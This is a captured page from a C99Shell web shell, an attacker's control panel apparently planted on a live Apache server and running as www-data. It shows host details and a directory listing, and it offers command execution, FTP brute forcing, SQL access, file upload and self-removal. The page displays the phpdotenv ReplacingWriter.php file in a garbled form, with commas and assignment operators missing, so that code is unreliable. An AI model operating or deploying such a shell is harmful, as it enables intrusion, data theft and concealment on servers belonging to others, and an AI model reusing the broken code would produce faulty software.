!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/cloud_campaign/vendor/vlucas/phpdotenv/src/Repository/Adapter/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReplacingWriter.php (2.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Dotenv\Repository\Adapter;

final class 
ReplacingWriter implements WriterInterface
{
    
/**
     * The inner writer to use.
     *
     * @var \Dotenv\Repository\Adapter\WriterInterface
     */
    
private $writer;

    
/**
     * The inner reader to use.
     *
     * @var \Dotenv\Repository\Adapter\ReaderInterface
     */
    
private $reader;

    
/**
     * The record of seen variables.
     *
     * @var array<string,string>
     */
    
private $seen;

    
/**
     * Create a new replacement writer instance.
     *
     * @param \Dotenv\Repository\Adapter\WriterInterface $writer
     * @param \Dotenv\Repository\Adapter\ReaderInterface $reader
     *
     * @return void
     */
    
public function __construct(WriterInterface $writerReaderInterface $reader)
    {
        
$this->writer $writer;
        
$this->reader $reader;
        
$this->seen = [];
    }

    
/**
     * Write to an environment variable, if possible.
     *
     * @param string $name
     * @param string $value
     *
     * @return bool
     */
    
public function write(string $namestring $value)
    {
        if (
$this->exists($name)) {
            return 
$this->writer->write($name$value);
        }

        
// succeed if nothing to do
        
return true;
    }

    
/**
     * Delete an environment variable, if possible.
     *
     * @param string $name
     *
     * @return bool
     */
    
public function delete(string $name)
    {
        if (
$this->exists($name)) {
            return 
$this->writer->delete($name);
        }

        
// succeed if nothing to do
        
return true;
    }

    
/**
     * Does the given environment variable exist.
     *
     * Returns true if it currently exists, or existed at any point in the past
     * that we are aware of.
     *
     * @param string $name
     *
     * @return bool
     */
    
private function exists(string $name)
    {
        if (isset(
$this->seen[$name])) {
            return 
true;
        }

        if (
$this->reader->read($name)->isDefined()) {
            
$this->seen[$name] = '';

            return 
true;
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0363 ]--